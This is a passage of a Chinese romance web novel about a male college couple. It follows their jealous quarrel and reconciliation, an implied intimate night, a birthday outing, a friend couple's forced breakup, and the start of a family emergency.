“咋的了,”祁延现在只有白天有课或者没课但柏安有课的时候才能和白仲钺凑到一起,对白仲钺包容度直线上升,“来,说说,爸爸给你出主意。”
白仲钺看手机没理他,过了会儿忽然把手机往祁延面前一放,问:“这种视频怎么拍?”
“手机拍啊,”在白仲钺咬牙前一秒,祁延紧急切回认真模式,“你看手的视频干什么?拍你自己的手?”
“嗯,”白仲钺手握起来又伸开,“太难学,卡不上点。”
祁延直接笑出声:“真不容易,还有你觉得难学的东西呢。”
白仲钺把手机抽回来:“我自己研究。”
“哎哎哎,我知道,真的,我给校花拍过差不多的,一个一个动作录下来,下载个软件把视频都导进去,让卡点的动作和背景音乐对准多余的视频剪掉就行。”
“什么软件?”
“一会儿我给你下,先把动作录了,给学弟弄小惊喜啊?”
白仲钺点头。
没说其实不是什么惊喜,是要哄人。
最近柏安高中那个牵过抱过差点亲上的同学忽然冒出来了,说听高中同学说柏安也在A市,都出门在外应该互相照应,在A市的几个高中同学建了小群,方便常联系。
两个人没聊几次,来往内容也都很生疏客套,可白仲钺就是不舒服,“郭其异”这个名字看过一眼就在心里记了个滚瓜烂熟,一边觉得不能干涉柏安正常社交一边心里又止不住地不痛快。
不痛快一攒,就容易出事。
两个人的手机一直互相随便看,白仲钺其实很少看柏安手机,昨天晚上对照一份信息图填表,东西不多懒得开电脑,用了柏安的手机看图,用自己的手机填,退出的时候一切换后台看见柏安之前在看手的视频。
一看就是男生的手。
白仲钺点进去主页发现对方似乎是个手模,发的图片视频大都和手有关。
柏安关注了,还点过很多赞。
不知道怎么攒了几天的不痛快呼地就起来了,其实白仲钺如果直说柏安看别的男生的手自己不舒服,柏安肯定会撒娇好好哄他,坏就坏在白仲钺别扭劲儿攒久了,不仅语气不好,后来还张口就是:“你是喜欢手还是喜欢我啊,比我手好看的多了去了你都喜欢吗?”
柏安根本没跟上白仲钺的情绪,觉得好好的忽然就变天,软着说话问原因没用还冒出这么一句,拿回手机来发现就因为自己看了个视频,又气又委屈,一晚上一早晨都不愿意和白仲钺说话,闷不吭声吃完早饭就去上课了。
白仲钺前一晚上也气不顺,今天早上就开始反省,反省完决定好好哄男朋友再坦白一下自己的小心眼占有欲。
祁延给下了软件简单说了怎么用,白仲钺自己弄的,从拍到剪前后居然用了将近一小时,好在效果不错,白仲钺觉得不比柏安看得视频差。
算着柏安平时自习快结束的时间,白仲钺带了遮阳伞去接人,没想到教室自习的人里没有柏安。
柏安今天上午一二节上课的教室三四节空着,一直都是上完课就留在教室自习,等时间差不多直接去水果店那里卖豆浆,现在时间还早。
白仲钺轻轻把教室后门关上,走到楼道头上给柏安打电话,电话还没通就看见人了。
在楼下,而且不是柏安一个人。
旁边那个男的不就是郭其异吗?
这人头像是全身照空间一堆自拍,白仲钺一眼就认出来了。
“喂。”柏安接通了。
白仲钺垂着眼看楼下的两个人:“你干什么呢?”
柏安还以为白仲钺打电话是和好的意思,没想到口气还这么差,做了一上午的自我建设瞬间崩塌,没好气地说:“我自习,没事挂了。”
看见郭其异拽了柏安胳膊一下,白仲钺早上的自我反省也全忘了,直接挂断电话下楼。
就没想到,两层楼,下楼出大门再绕到楼后估计不到一分钟的时间。
楼下俩人没影了?!
-
柏安到卖完豆浆也没见到白仲钺,在食堂要了份泡面和两个袋装鸡爪边吃边看手机,没电话没消息,自己接电话的时候是不是语气太不好了?
以前白仲钺开玩笑说时间长了自己还不觉得,仔细想想也有道理,以前自己和白仲钺说话都管不住心跳,哪里能想到有一天自己会和他闹脾气?
白仲钺昨天生气其实算是在吃醋吧,自己后来态度也不好,白仲钺忽然那么问难道是因为自己变得太多,他觉得自己不如以前喜欢他了?
柏安边想边咬着撕开第二袋鸡爪,下唇忽然一麻,柏安吮了下麻的地方,紧接着就尝到了血味。
“嘶——”
鸡爪的包装袋在嘴上划了道口,原本不严重,可柏安吮的时候牙尖正抵着伤,这一磨直接弄开了鲜红一小片,像上火起的泡破了。
剩下的泡面也不想吃了,收拾扔掉出去想找白仲钺呢,就遇见了要买水的祁延。祁延说白仲钺在室内篮球场打球打一中午了,饭都没吃,让柏安抓紧去领人,顺便带瓶水,自己直接回宿舍了。
柏安急匆匆买了水顶着大太阳去篮球场,刚进去就远远看见白仲钺正和一个女生说话,还,接了对方的水?
白仲钺什么时候开始接女生的水了?
两个人在一起之后,除了柏安和队友,其他男生的都没接过。
现在接女生的水了?
就算吵架,难道就能接女生的水了?
柏安气得呼吸不顺,第一次知道原来生气也能让心脏怦怦跳,气得迈不开步子,就眼睁睁远远看着他们并排从另一个门走了。
走了!
-
两个人大半下午都没联系,到下午卖豆浆的时间白仲钺去找人发现没开张,打电话柏安说不想卖回家了。
白仲钺带了下午饭回来:“你嘴怎么了?”
“上火。”
菜往桌子上一放,全是自己爱吃的,柏安刚刚说话还呛着,这会儿心里忽然就软了。
可没等他说什么白仲钺先出声了:“上火?早上还好好的没一天就上火上破了?”
柏安脑袋都快上火上破了:“你什么意思啊白仲钺?”
“你今天中午和谁在一起了?”
这简直戳了柏安这会儿的爆破点:“你今天中午和谁在一起了?”
“我谁都没和。”
“鬼信你谁都没和!”
“倒打一耙是吗?是想吵架吗?”
“你才想吵架吧!吵完正好去找小学妹求安慰!”
白仲钺觉得自己胸口闷得要炸:“哪儿来的小学妹?”
“你自己知道!”
“我不知道!”白仲钺呼了口气,想好好聊,喝了口水勉力压下情绪, “你到底想说什……”
柏安看见白仲钺喝水就想起他接水和人说笑的样子:“学妹的水不够喝吗回来喝什么水啊?”
“我什么时候喝学妹水了?你背着我见那个郭其异我还没说什么你给我编得哪里的学妹!”
柏安一顿:“你怎么知道?”
白仲钺火全拱上来了:“你背着我约人我还不能知道了?我没看见是不是就打算瞒着,下一步给我弄顶绿帽子好看是吗?”
“什么绿帽子!我干什么了就绿帽子!”
“嘴都破了还想干什么?不到一天上火上破了你怎么不说是自己
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咬的呢?”
“我就是自己咬的!”
“你厉害!”
柏安被堵得一股劲儿上不来下不去:“你才厉害!你看见我和别人一起也不急,还去打球撩妹呢,谁有你厉害!”
“我撩什么妹!我干什么了我自己不知道?你跟别人亲破嘴了来说我,你讲点理行不行?”
“什么亲破……这是我自己咬的!”
“你是觉得我脑子有病吗?!”
“我才有病!有病才信你呢!”
“你厉害!”
白仲钺简直气得不分南北,扔下这句直接摔门出去了,出门才觉得不该这样,紧接着就听见身后的开门声。看见柏安的一瞬白仲钺气不自觉就下去了点,转身想往回走。
“就你会摔门!”
……
白仲钺看着眼前“砰”一下关上的门,觉得自己眼睛就没瞪这么大过。
“柏安你给我开门!”
刚拍两下,柏安就猛地把门打开了,一会儿的工夫,两个眼圈全红了,眼里水汪汪的就要往外掉。
白仲钺气哄哄的架势一下没了:“别哭啊,怪我行吗,不该和你吵,你别……”
柏安声音带了鼻音,低着头,白仲钺进来之后就一直背靠着门:“还是你说的以后就算吵架也不能走呢,最多就回屋锁门,你说话不算话。”
“没走,不走,刚刚是我脾气急了。”
“你之前还说不接别人的水,今天我看见你接女生水了。”
“我什……”白仲钺终于想起来,“我一个表姐来学校参会顺便过来看我,那是我表姨家的姐姐,你也要叫姐姐的,什么学妹。”
柏安人都懵了:“啊?”
“啊什么啊,要不然我给她开视频,你看看是不是你看见的人。”
“别,别别别,不用,我没不信。”
“这会儿又信了?”
“我刚刚说话没过大脑嘛……我嘴真的是自己咬的,没骗你,中午吃鸡爪的时候被包装划破嘴了,我牙尖,不小心一弄就把伤口咬烂了,我怎么可能和别人亲啊……”
说着说着柏安眼眶又开始发酸,抿了抿嘴唇:“没立刻告诉你他过来的事,就是怕你不高兴,你本来就不开心。我也不知道他过来,真的就说了几句话,他一走我就把他拉黑删好友了,不信你看我手机……瞒着你是我不对,我以后一定不了,但你不能因为我以前差点和他亲就觉得我还可能会和他亲啊,以前和现在又不一样,我都和你在一起了……”
柏安用委屈巴巴的语气一通说下来,白仲钺心都快被他委屈化了。
“我知道你不可能主动和别人怎么样,刚刚就是在气头上,我以为他强吻你咬破了,没问清楚就怪你,我道歉,我错了。”
白仲钺一道歉,柏安立刻觉得自己更不对,毕竟他接水的“学妹”是假的,自己见了以前有过“不清楚”关系的同学是真的。
“我也没问清楚就误会你,他来了没告诉你,还因为闹脾气和你说在自习,”柏安伸手捏住白仲钺的食指拉过去,“我错了,你别生气。”
又软又痒的感觉从被捏住的手指一路攀到心口,白仲钺声音轻到不能再轻:“好,那就都有错,都不气了。”
“发手的视频的人,我也取关了,我是因为喜欢你才喜欢你的手的,因为你的手好看,看见也好看的手才会多看两眼,没喜欢别人的,以后不看了。”
“你想看就看,我小心眼了,因为那谁最近和你聊天不舒服才乱吃醋,昨晚我说错话了,没有真的那么觉得,知道你只喜欢我。”
“嗯。”
白仲钺轻轻捏他下巴:“别抿,万一再破了,吃饭都不方便。”
“怎么了?”白仲钺看他只仰头看自己不说话,贴近问,“还委屈?要不然你也咬我一下,使劲咬。”
柏安瘪着嘴摇摇头,抬起胳膊,说:“抱。”
36.生日
柏安从没想过居然会有和白仲钺吵架的一天,毕竟他觉得白仲钺哪里都好怎样都行,白仲钺也差不多,只要自己说的,除了某些特殊时候之外白仲钺从没有不听的。
但两个人确实是吵了一 架,从前一晚到第二天晚上,差不多24小时里把拌嘴、冷战、对吵、摔门、和好的流程完完整整走了一遍。
和好之后委屈的劲儿没能立刻过去,白仲钺就一直抱他哄他,无比耐心,不厌其烦。
柏安后来深刻自省,把整件事里自己不对的地方从头到尾数落一遍,最后觉得既然认识到了自己的错误就要拿出点行动来。
也要哄哄白仲钺。
于是某个艳阳高照的下午,本该备考期末的柏安出来学校进了某家眼镜店的门,努力让自己一身正气面不改色买了个镜框。
和壮烈牺牲的那个同款,黑色,粗边。
白仲钺这人看着一本正经,满脑子都是什么恶趣味。
回家的时候柏安想到书包里的东西止不住地臊,那明明只是一个纯洁清白的眼镜框啊柏安!
自己一定被白仲钺带坏了。
“柏安?”
“啊,马上就好。”
浴室的玻璃门映出白仲钺一点模糊的影子:“没事,不用急,好半天没声音以为你怎么了。”
这个澡柏安确实洗了特别久,淋浴开到最大做好准备工作,然后就对着镜子做漫长的自我斗争。
白仲钺有过想在浴室做的意思,只不过当时柏安说去床上两个人就立刻转战了。
柏安也不是不愿意,只不过觉得在床以外的地方,分外……
啊——
最情涩羞耻的其实不是什么地点,是现在的自己吧?
戴了白仲钺喜欢的黑边镜框,只穿了白仲钺的白衬衣,几处布料被发尾滴落的水珠洇透贴在身上,手边还放着自己提前拿进来的某瓶消耗品。
骨节敲击玻璃的的声音把柏安拉回神。
“还没好?西瓜都不凉了。”
柏安破罐破摔,眼睛一闭:“你进来。”
“咔嚓”,开门声。
“啪哒”,关门声。
好一会儿都没有声音,柏安睫毛抖几抖睁开眼,顺着眼前的下颌、嘴唇一路向上,和白仲钺暗而深的眸光撞了满怀。
柏安头侧向一边,耳廓红透了,连带脖颈都泛上绯色:“你别问,别说话。”
白仲钺抱住他的时候力气格外大,柏安刚想挣动就听见又长又沉的一声叹息,直直钻进耳里,瞬间麻了半边身子。
“真是,要命了……”
镜框不知道第几次因为别处的力道歪歪斜斜挂在脸上,在白仲钺又要扶正前柏安抬手摘了:“嗯......不戴了......”
“好,不戴了,”白仲钺伏下身子去咬柏安的耳垂,“我也不戴了......行吗?”
“什么......”
“套,没了,这是最后一个。”
“......”
“行吗?”
“……”
“嗯?柏娇娇?”
“别问……”
白仲钺低笑出声。
不说话就是行,只不过不好意思出声应。什么反应代表什么白仲钺早就轻车熟路,硬追着要个答复就是在故意欺负人。
而且,在柏安这里,在这些时候,白仲钺向来得寸进尺。
“我想弄进去……”
“……”
白仲钺做好了柏安不应声或不同意的准备,万万没想到,柏安忽然抬头咬住了一直晃动的项链。
咬着铜牌上的那颗星星,扯近了白仲钺。
先是堆了易燃柴,后又添了一把火。
所以,都是自作自受。
从上午醒,柏安第三次坐在马桶上和两颗暗紫的膝盖相对无言,好一会儿目光飘到远处某块地砖上,试图用无形的怨念行刑,未果。按下冲水后没两秒,白仲钺进来把他抱回床上。
简直像半身不遂。
“把药吃了。”
“什么药?”
“肚子的。”
柏安觉得对话诡异,眨眨眼:“你果然不想要这个孩子。”
?
白仲钺叹口气:“对,我是人间渣男,来,吃药,一直这样该脱水了。”
柏安被白仲钺伺候着吃了药把水喝光又填进一颗话梅:“你怎么买的药?”
“电话下单送过来的。”
“你怎么知道要买什么?”
“……”
估计说了某娇要炸毛,又不能不说,白仲钺尽量简明扼要:“问了医生。”
“怎么问的?”
“……”
描述了原因和现状,膝盖是皮下瘀血,建议服药抹药油加热敷,肚子不舒服腹泻大概率是因为异物,某处肿痛开了专用药膏,最后贴心建议适量适度有益健康。
看白仲钺不说话,柏安觉得自己什么都知道了。
白仲钺拍拍鼓成球的被子:“没事,他们不认识你,没人知道是你。”
“……”
“你把腿伸出来,让我抹药行不行?”
“……”
“早点上药才能早点好,后边也要……”
“白仲钺你别说话!”
不得不说声音捂在被子里实在很没气势,白仲钺估摸着头的位置揉了揉:“你后天第一门公开课要考试了,不上药的话要不然我抱你去考?”
被子边被扒开一个口,细直的两条腿伸出来,两个膝盖说惨不忍睹也不为过,受力最大的点隐隐都有些发黑,小腿靠近膝盖的位置也有大片青紫。
看起来比刚醒那会儿更严重。
被周边的白皙衬着,愈发刺眼。
白仲钺边吹气边轻轻把药抹开,方才逗弄的心思散尽了,醒来刚看见时的自责心疼卷土重来:“再也不这样了。”
柏安把自己剥出脑袋,看白仲钺低着头的样子动了动腿:“其实没那么严重,你膝盖不是也紫了吗,我从小就容易留印,只是看着吓人。”
“嗯,”白仲钺给他理了理蓬乱的刘海,“肚子还疼吗?还想不想去卫生间?”
“不疼了,本来也不是疼。你别不高兴啊,真的没有看起来这么严重……白仲钺我脸上有东西吗?有点痒呢……mua——你怎么这么好看,一下没忍住……”
身残志坚还要哄人的柏安表示,自己非常需要一个最佳男友小锦旗,以资鼓励。
-
暑假的时候柏安留在A市兼职,给之前家教过的学生辅导课业,上午下午各两小时,周末休息两天,学生要去学舞蹈和书法。白仲钺工作日每天去家里公司,也是周末休息。这样每天各自忙着又一起生活,到周末一起计划做这做那,又或者只是窝在家里,就像过起了婚后的小日子。
柏安生日就在暑假,两个人早早说好空出一整天。柏安提前和家教的家长请了假,白仲钺这边比较自由,其实随便说个理由就好,可他没遮没掩,“给男朋友过生日”说得大大方方。
向家里摊牌后白仲钺照旧每月回家,没有特意说什么让爸爸同意,也没有避讳提起,妈妈还经常会问些情况,每次聊到都习惯了旁边有点什么或轻或重表示不满的动静。
还挺有意思。
早上醒的时候白仲钺还在睡,柏安往后仰仰头就没再动,安静在被窗帘遮得昏暗的光线里看白仲钺的侧脸。
学校讨论帖里有人说过,白仲钺的好看有一半要归功于过分优越的鼻子。
柏安觉得说一半有点夸张了,明明其他地方也功不可没,不过从侧面看,鼻梁线条确实非常优越就是了。
他被白仲钺一只胳膊环住,手腕被松松握着,这样后仰着头看了好一会儿觉得脖子酸,又慢慢挪了回去。
大概十多分钟,白仲钺松开手腕侧过身搂住他。
柏安小声问:“醒了?”
白仲钺又把人往怀里按了按:“嗯。”
静谧里可以听见轻缓平稳的心跳和浅浅柔柔的呼吸,很久都没有其他声音。直到白仲钺松开胳膊低头亲
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了一下,知道他起床气过了,柏安当即解除乖巧封印,翻身把人压住:“给你个机会,今天第一句话,要说什么?”
白仲钺刚醒时声音总比平时低沉,格外撩人:“我们柏娇娇生日快乐。”
“真乖,”柏安往两边扯扯白仲钺的脸,“起床吗?”
小寿星有权利胡作非为,白仲钺在他腰上揉了两把:“起。”
白仲钺刷牙,柏安洗脸,到柏安刷牙的时候忽然哼了声。
“怎么了?”
“嗯嗯嗯……”
柏安“咕噜咕噜”把牙膏泡沫漱干净,捏着下唇照照镜子然后皱着眉要给白仲钺看里边:“起了个口疮。”
“一会儿买点药喷上。”
柏安立刻松手不给看了:“不喷,一喷嘴里全是苦的。”
平时吃直接吞下去的药嗓子都会泛苦,这种恐怕更厉害,白仲钺顺手把他嘴边的水抹了:“那就不喷了,让我看看。”
一个小小的白色椭圆。
白仲钺低头,轻轻吻了下,舌尖绕着扫过,最后亲了柏安一口:“好了不疼了……”
幼稚,柏安腹诽。
但没撑过两秒就红上了耳梢,这个人怎么这么会啊啊啊啊啊啊啊啊——!
一起煮了长寿面,做了两个爱心煎蛋。一起去了主题游乐场,买了19个气球系在柏安手腕上,临走送给了小朋友。一起去了白仲钺订好的餐厅,听白仲钺唱了生日歌,吹蜡烛许愿,吃了定制的向日葵蛋糕……
下午,白仲钺带他去了郊区的一座山。
和柏安家里的山不一样,这座山处处是人工修琢的痕迹,台阶又长又缓,相较爬山,说散步更妥当。
绕过一个大圈柏安才知道白仲钺为什么带自己来这里。
山后,有一整片盛开的向日葵。
太阳在身后,每一朵花都朝着柏安的方向。
橙黄被生机勃勃的绿意托举,微风游走,暖阳轻晃。
“第十八份礼物吗?”
“喜欢吗?”
“你猜。”
“我猜喜欢。”
“厉害啊一猜就中......”
天色渐暗,两个人边聊边走,停在山顶石阶尽头。
白仲钺伸手遮住柏安的眼睛,带着他转身:“最后一份礼物。”
“现在是7月27日傍晚7点27分。”
“生日快乐。”
“我的柏娇娇。”
覆在眼睛上的手拿开,随着一声响指,柏安睁开眼睛,橙黄的灯光就从他脚下出现,蔓延而下,点亮了整座山。
“白仲钺……”
“嗯?”
“过来给我亲一下。”
白仲钺笑了:“遵命。”
下山时月亮已经挂到了天上,柏安扯扯白仲钺:“给我唱个歌吧。”
“我唱歌不太好听。”
“骗人,下午唱生日歌明明很好听。”
“和你比不好听。”
“好听,我想听,今天我生日呢。”
“好,你最大,”白仲钺清清嗓子,“敢问这位小寿星,想听什么?”
柏安朝天上潇洒一指:“月亮。”
白仲钺沉默几秒:“《十五的月亮》行吗?”
“噗——哈哈哈......咳......我没笑你,真的......听啊,想听,你都答应了......唱吧唱吧——”
白仲钺抬手把蹦蹦跳跳的柏安压下去:“我想想唱什么。”
“《十五的月亮》也行呀,我不挑。”
“再说我不唱了啊。”
柏安立刻抬手捂住嘴,两只眼睛眨呀眨。
“咳......”
眨呀眨。
白仲钺笑了一声。
眨呀眨。
“好了,给你唱。”
满是纵容喜欢的一双眼睛几乎要将柏安溺进去,白仲钺带着笑意缓缓开口。
“月半弯~好浪漫~月光下的你显得特别的好看......”
37.承诺
柏安空出来了暑假的后半个月回家,回家前悄悄留了30张小纸条在各个地方,显眼的和难找的地方都有,原本预计白仲钺一天一两张或者隔几天找出几张,估计等开学还会有没被发现的。
没想到刚回家第一天晚上,白仲钺就找出来七张。
【[图片]】
【集齐七张,召唤男朋友】
柏安看见消息就笑出来,直接打电话过去:“你怎么找到这么多?”
“进门看见一张,洗手又看见一张,就到处转了一圈。看来不止这些,还有其它的。”
“你别一次性全翻出来啊,这样说不定什么时候就发现一张,小惊喜懂不懂。”
“好,”白仲钺拖长声音答应,对着灯举起手里【好好吃饭天天向上】的纸条,“右下角的简笔画是你给自己的形象图吗,兔子?”
“不是兔子,随便画的。最开始想留一个潇洒的AN来着,结果太潇洒写错成M了,不想勾掉看了一会儿觉得像耳朵,就在下边加了脸。”
是个非常简洁的脸,括号里边三个按照“因为”排列的点,分别代表眼睛和嘴。
(·.·)
加上M的两个大尖耳朵,怎么看怎么像兔子。
有了第一个后面索性都画了简笔画,尖耳朵圆耳朵长耳朵短耳朵,还因为落笔方向不同生成了不同表情。
十几天不见而已,可不知道怎么,一分开时间就过得格外慢,有时候觉得抓心挠肺地想,恨不能把屏幕里的人抓出来。
白仲钺答应了顺其自然不特意找,但平时拿东西的时候不自觉就会留神边边角角或者顺手多翻两下,全部找到的时候距开学还有四天。
觉得一天都等不了了。
也没办法,就只能眼巴巴等人回来。
原本计划等见面要骑摩托车载柏安去兜风,没想到下了雨。
A市似乎迎来了数年不曾到访的雨季,连绵不歇,却仍旧热。
断断续续的雨下了许久,有时下得极大,有时停了也总不安稳,伞成了出门的必备品。
——“啪”!一把收起的伞被狠狠砸在教学楼外的墙上。
张皓程大步在前面走,韩一捡起伞默不作声在后面跟。
眼看越走越偏,马上要到湖边还没有停的意思,韩一急跑几步把张皓程拉住:“你往哪走?”
张皓程一把甩开:“你管我往哪走!”
韩一再次把他拉住:“别这样......”
“我哪样?我他妈哪样!”
“......对不起。”
“我缺你这句对不起!”
许久都没人说话。
正午,潮湿的空气又闷又堵,雨刚停,但天阴沉着随时要再下一场,没有人像他们两个一样站在外面,傻子似的。
汗流下来,沿着眉头拐弯流进眼角,一眨,分不清从眼角继续落下来的是什么。
只进了一滴汗,红了眼,水漫了整张脸。
韩一眼也红得厉害,伸手想给张皓程擦一擦,被扭脸躲了。
他无可辩驳,说出口还是张皓程不缺的那一句:“对不起。”
“你对不起我什么?”
韩一停了一会儿,哑声说:“阿程,我没办法。”
最让人无可奈何的就是没办法。
“要分手,是吧?”
韩一沉默半晌,开口格外艰涩:“我不想。”
张皓程点点头:“好,那不分手,异国恋嘛,没关系,你告诉我什么时候回来,我等着你。”
韩一答不出。
“一年?五年?十年?二十年?”
“我不知道……”
“没事,你随便编一个也行,你说几年我等几年,少等一天我被车撞死——”
“阿程!”韩一看着他,又挪开视线,“别逼我……”
“哈,我逼你?要你一句话是逼你?我他妈就要一句话!你不是不知道,你是不敢说!答应了就是受制于人,你根本就回不来!”
“我能怎么办!”韩一手里的伞被攥出声响又因为倏然消失的力气落到地上,“我能怎么办?我能看着我妈死吗......”
张皓程脸上的湿不知道什么时候干了,可天又落下雨,砸在脸颊几滴。
他缓缓把地上的伞捡起来,撑开站在韩一跟前:“阿姨的病需要钱需要设备,你爸之前的儿子死了需要儿子,他给阿姨治病,你给他当继承人,他出钱,你听话。他的产业都在国外,你既然要听话帮他管理,那就也要在国外,他给阿姨治病一天,你在国外听话一天,不,不止,你们一定要白纸黑字签合同吧,他不能做赔本的买卖,不可能治好阿姨就放你走,也就是说,你回不来了。”
韩一嘴唇动了动,张皓程竖起食指按住他:“嘘,如果我们不分手,你回不来,就需要我去。但我就是个不上不下的普通家庭,家里只生了我一个,偶尔出去玩一趟没什么,移居根本不可能,所以我也出不去。”
“退一万步讲,”张皓程竖在韩一嘴边的食指有点颤,终于放下来,“就算我能出去,我两边跑,咱们恋爱谈得辛苦点无所谓。可你那个死二十年忽然冒出来的爸,会愿意自己好不容易弄到手的新儿子和男的谈恋爱吗?他那么看重血缘,费尽周折都得找到亲儿子培养当继承人,只有儿子不够吧,皇位传到儿子断了不行,肯定要有孙子,韩一,你得给他个孙子吧?”
韩一闭起眼:“别说了……”
张皓程吻了韩一。
很轻,很短,轻到像风吹过一阵薄尘,短到韩一睁开眼睛时两人仍旧是之前的距离。
仿佛这个吻没存在过。
“我知道你不想分,”张皓程笑了笑,温温柔柔的,和方才判若两人,“不过不用这么难受,也不用整夜整夜地抽烟想怎么两全,我想分了。你那个爸来找过我,拿出来三十万,我长这么大没见过这么多钱,想着反正是要分,不收白不收,这么算和你谈一场也不亏。出国的时候不用说,我就不送了。”
张皓程退出伞外,把伞向下压,挡住韩一的脸:“祝阿姨早日康复,也祝你,一路顺风。”
伞骨夹住了韩一的一绺头发,在张皓程松手后有些滑稽地挂在了韩一身前。
“走了,别追。”
韩一脚下生了根,藤枝环绕而上,把他环成了世界之外的一部分。
——“这是三十万,预付金。我不是那些不开明的家长,只要你愿意,我出钱让你一起去国外,想继续上学还是想工作我都帮你安排。但韩一需要体面的婚姻和家庭,只要你们协调好,他契约结婚还是真情实感都无所谓。你让他乖乖听我的话,我让你们不用分开,共赢。”
——“你要我当韩一包养的地下情人?”
——“有什么不可以,不是你说不定也会有别人,男人寻欢作乐是本能,若不是这样,世界上也不会有韩一。”
——“当年阿姨是被你骗了!”
——“不重要,你只需要关注当下,考虑好了吗?”
——“考虑好了。”
——“呵,合作愉快。”
张皓程忽然撞了下回过神:“不好意思。”
说完才发现自己撞得是棵树。
“呵……”张皓程头在树干上磕了下,又磕了下。
——“带着你的脏钱,滚。”
韩一走得很快。
有人来给他办理退学,马上就能毕业,老师百般劝说如果特殊情况可以先办休学保留学籍,
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来人不同意,只办退学。原本老师还说需要本人在场,后来不知道怎么处理的,总之,A大再没有了韩一这个人。
都收到了韩一告别的消息,但回过去的消息都没收到回复。
去问张皓程的时候,张皓程说,他们分了,以后谁都别在他面前提韩一。
姜宗川和文舒冉也分手了,不知道为什么,但姜宗川在重新追人,这一次不像之前那样只说不动,声势浩大又执着,哪怕不认识两个人的也有所耳闻。
不等公司来校招实习生,赵煜就申请了离校自主实习。
卖豆浆的水果店老板不愿意再续租,直接明说想自己卖豆浆,还让柏安把摊车低价卖他,反正留着也没用,校内不会有别的店让柏安卖。
柏安原来宿舍一直空着床位的人来了,直接插班。报道第一天给同班和同楼层每人送了份礼物,加了宿舍群和好友天天给柏安发消息问这问那,张扬高调话多烦人,但似乎长在了郝昕的审美点上,连续很久课间都在柏安耳边说关于这个叫法思青的人的种种。
白仲钺保研本校原本是定了的事,但因为他爸爸最近身体忽然不太好,管理公司吃力,慎重考虑后找老师道歉签了自愿放弃推免资格的申请表,不再继续读研。
事情一桩接一桩,让人心里闷得生慌。
就像原本以为稳固的球体被敲开了一个又一个裂缝。
不知道这些或深或浅或长或短的豁口,会逐渐好转还是愈演愈烈。
直到十月初,扰人的雨季终于渐渐过去,柏安国庆兼职的最后一天,走出卖场发现竟然是个难得的好天气。
橘红的云彩几乎占据了半边天。
白仲钺骑了摩托车来,载着柏安跑出市区,停在江边时才察觉,呼啸而过的风不知什么时候褪了燥热。
镶嵌金边的漫天红霞映入江水,在清爽怡人里显出粼粼波光。
白仲钺倚靠栏杆,在柏安头上揉了下。
景不如人好看。
“你说,韩一学长怎么样了?”
“不知道,一直联系不上。不过我托了人打听,会有消息的。”
柏安点点头,又问:“你会出国吗?”
“不会。”
“可是韩一学长以前应该也不会想到,自己会出国吧。”
“我不知道他为什么忽然走,但我知道我不会走,以前不认识你的时候没有选择出国,现在更不会,知道吗?”白仲钺把手伸给柏安,让他牵着,“而且,有个好消息,我爸爸松口了,说既然谈了就好好在一起。”
柏安眼睛一亮:“真的?”
“真的,”白仲钺看着柏安的反应轻轻笑起来,“所以,别担心,别多想,会越来越好的。”
柏安的确一直在不自觉地多想,也许是因为韩一和张皓程是他唯一熟悉的一对同性情侣,也许是因为从没想过他们会有现在的情形,也许是因为发生的一桩桩事太过突然毫无征兆,自从韩一离开,那种隐隐的不安就一直在。
从某种意义上讲,这份不安像是信不过自己和白仲钺的感情。柏安晃晃白仲钺的手:“我知道了,不会再乱想了。”
“不是怪你,”白仲钺认真喊他,“柏安。”
“嗯?”
“我一直觉得人生很长,未知太多,说一辈子如何如何轻飘又没意义,所以没有承诺过什么。但现在,我保证,我们会一直在一起,只要你爱我。”
“我爱你。”柏安回应得迅速又笃定。
背对落日晚霞的白仲钺,洒在发梢温柔细碎的光,让他想起去年第一场雪落下时的夜晚。
白的雪覆在黑的发上,让还没得到眼前人的他一瞬生出“偕老”的念想。
“白仲钺,我永远爱你。”
38.药苦
柏安接到电话的时候,白仲钺正给布莱克吹毛,一人一狗半湿不干地待在浴室门内,吹风的“嗡嗡”声盖过了窗外渐浓的秋雨。
“你说奶奶怎么了?喂?听不太清,我一会儿给她们打电话。”
“别打,”柏晨急忙说了一句,又放低声音,“我大娘……她、她手机坏了,奶奶病了特别想你,反正你明天请假回来一趟吧,我不说了,这是我妈手机,你千万别往回打,一定回来啊!我挂电话了,拜拜。”
布莱克抖抖重新变得蓬松的毛,欢快地摇着半截短尾巴去扑柏安,它长得快,已经是条大型犬,三步并两步地冲过去居然一下把人扑倒了,摔在地上“砰”的一声。
“柏安!”白仲钺把正缠着线的吹风机随手一放快步过去扶柏安,把呜呜哼着往前凑的布莱克推开,“你干什么!”
柏安握住白仲钺环着自己的手臂:“是我自己没站稳。”
“怎么了?”柏安的声音反常得明显,白仲钺连忙伸手去检查他身上,“摔到哪儿了?”
“我得回家,白仲钺,”柏安心慌得厉害,手机摆弄好一会儿都解不开锁,“帮我打电话,给我妈打个电话,快一点。”
关机了。
柏安把手机拿过来:“搜一下车票……”
“我找车,”A市通柏安家的车次白仲钺都清楚,这个时间去车站至少要等一两个小时,“火车不方便,等晚上到了也没大巴去你家。你歇一会儿,我们最多半小时出发。”
家里的司机跟着去了外地出差,给联系了别人开车过来,等车来的时间里白仲钺简单收拾好要带的东西又打电话给管家安置好布莱克。
直到坐上车柏安才想到自己还没告诉白仲钺发生了什么,白仲钺就只是帮他安排好所有,一句都没追问。
“我叔家妹妹打电话说奶奶病了想见我,让我明天回去,说我妈手机坏了,”柏安尽量让自己平静一些,但被白仲钺握着的手从指尖到掌心都是凉的,“一定不是简单生病了,不然不会偷偷打电话让我回家。你不知道,我奶奶心疼车费,从来不说想我,她和我妈生病也都是好了才会在我面前提,不知道是出什么事了……”
白仲钺在后排半搂着柏安,分别拢着他的两只手搓动:“老人上年纪难免生病,可能奶奶只是随口一说被你妹妹听见了。晚上高速通畅,三个半小时,最慢四小时到,你闭眼休息会儿,见面就知道了,别太担心,没事的。”
柏安点点头,闭眼倚着白仲钺不说话,脑子里一会儿反复想柏晨电话里的语气和每个字,一会儿想前两天给家里打电话时有没有什么自己忽视的异样。
他家里和叔家关系很不好,连带着他和叔家妹妹柏晨关系也一般,小孩间没交恶也不亲近,仅限于路上遇见会招呼一声而已。如果只是小病随口说一句想自己,柏晨不至于背着家里打电话过来还强调明天一定要回去。
柏安一边怕想不好的事像在咒奶奶强压着不愿意想,一边又忍不住去想最差的可能——奶奶身体一向不太好,年纪也越来越大,已经八十多了。
车子渐渐驶离灯火密集处,后车座陷入黑暗里,可白仲钺抬起的手准确覆在柏安脸上,触到满掌湿凉。
跟着导航走,到了县城才知道有座矮桥被冲坏了正维修,只好绕路,到时已经半夜十二点多,家里竟然亮着灯。
